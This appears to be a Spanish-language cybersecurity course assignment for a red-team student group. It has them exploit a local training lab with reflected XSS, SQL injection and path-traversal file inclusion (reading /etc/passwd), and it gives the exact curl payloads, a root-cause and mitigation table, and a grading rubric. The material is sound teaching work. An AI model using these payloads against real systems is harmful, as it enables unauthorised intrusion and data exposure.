Semana 05 — Tres ataques, payload y causa raiz

Grupo 4 · rol Rojo · ejemplo de trabajo

Prof. César Rodríguez | ELECTRONICA | 1 de noviembre de 2026

Curso	CYBERSEGURIDAD — Ciberseguridad Aplicada
Semana	05 de 10
Fase	2 — Ofensiva controlada
Grupo	4
Rol	Rojo
Entrega	GitHub, carpeta semana_05/
Corte	Domingo 23:59 de la semana correspondiente; lo posterior no se corrige.

1 Tu rol en la práctica

Ejecuta la técnica ofensiva sobre el objetivo autorizado: prepara el entorno, lanza el ataque, registra comandos y payloads, y guarda cada salida con su hash.

- Confirmar el objetivo autorizado y preparar el entorno antes de la primera captura.
- Ejecutar la técnica de la semana en el orden de los pasos y guardar cada salida cruda con su hash.
- Redactar la reproducción: comando, salida esperada y salida obtenida, sin retocar la evidencia.

2 Qué aporta este rol al entregable

Evidencia cruda en semana_NN/evidencia y el apartado de reproducción del informe.

3 Ejemplo paso a paso

El rol Rojo explota los tres casos y documenta el payload exacto, la respuesta y la linea de codigo o configuracion que lo permite. Un hallazgo sin causa raiz es una anecdota.

3.1 XSS reflejado con evidencia del reflejo

El payload se envia en el parametro y se guarda la respuesta donde aparece sin codificar. La captura del reflejo es la prueba; el aviso del navegador es secundario.

```
mkdir -p semana_05/evidencia
curl -s -b semana_05/evidencia/cookies.txt \
  'http://127.0.0.1:8081/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C/script%3E' \
  > semana_05/evidencia/xss_reflejo.html
grep -n '<script>alert(1)</script>' semana_05/evidencia/xss_reflejo.html
```

3.2 Inyeccion SQL que devuelve filas no previstas

El payload transforma la consulta y devuelve mas filas de las que el formulario pedia. Se documenta el numero de filas y el campo que lo delata.

```
curl -s -b semana_05/evidencia/cookies.txt \
  'http://127.0.0.1:8081/vulnerabilities/sqli/?id=1%27+OR+%271%27%3D%271&Submit=Submit' \
  > semana_05/evidencia/sqli_filas.html
grep -c 'First name' semana_05/evidencia/sqli_filas.html
```

3.3 LFI para leer un archivo del contenedor

Se lee un archivo inocuo del sistema y se guarda solo la prueba de acceso. No se recorre el sistema buscando secretos: el objetivo es demostrar la ruta, no exprimirla.

```
curl -s -b semana_05/evidencia/cookies.txt \
  'http://127.0.0.1:8081/vulnerabilities/fi/?page=../../../../etc/passwd' \
  | head -5 > semana_05/evidencia/lfi_prueba.txt
wc -l semana_05/evidencia/lfi_prueba.txt
```

3.4 Resolver tres retos de Juice Shop y anotar el razonamiento

De cada reto se anota la pista, la peticion y por que funciono. El reto resuelto sin explicacion no cuenta como evidencia.

3.5 Hallazgo, payload y causa raiz

Hallazgo, payload y causa raiz

Hallazgo	Payload	Evidencia	Causa raiz	Mitigacion
XSS reflejado	Script en el parametro name	xss_reflejo.html	Salida sin codificar en la busqueda	Escape contextual
Inyeccion SQL	Comilla y OR tautologico en id	sqli_filas.html	Consulta concatenada	Parametrizacion
LFI	Secuencia de directorios en page	lfi_prueba.txt	Ruta resuelta sin lista blanca	Lista blanca y ruta fija
Juice Shop	Peticiones del reto	Anotaciones por reto	Validacion solo en el cliente	Validacion en servidor

La causa raiz se escribe como linea o configuracion concreta; "falta validacion" sin señalar donde no se acepta.

4 Qué guardar en el repositorio

El informe presenta por hallazgo el payload, la evidencia, la causa raiz y la mitigacion, ademas de los tres retos de Juice Shop con su razonamiento.

```
semana_05/
|-- informe.md
|-- evidencia/
|   |-- xss_reflejo.html
|   |-- sqli_filas.html
|   `-- lfi_prueba.txt
`-- README.md
```

- Cada payload esta escrito de forma literal y reproducible.
- La causa raiz señala el punto concreto, no una categoria.
- La mitigacion se puede verificar con una prueba.
- Los retos de Juice Shop tienen pista y razonamiento.

5 Cómo se corrige

Criterio	Peso
Explotación reproducible de los tres tipos de vulnerabilidad	3,0
Causa raíz correctamente identificada	2,5
Mitigación concreta y verificable por hallazgo	2,0
Evidencia clara y anonimizada	1,5
Retos de Juice Shop justificados	1,0
Total	**10,0**

- La explotacion se limita a los contenedores del laboratorio y a los datos de prueba.
- No se usa fuerza bruta ni denegacion de servicio contra el laboratorio.

Recuerda

El trabajo es independiente: cada grupo usa su propio repositorio y su propio laboratorio, y la comparación de resultados es en clase. Corte: Domingo 23:59 de la semana correspondiente; lo posterior no se corrige.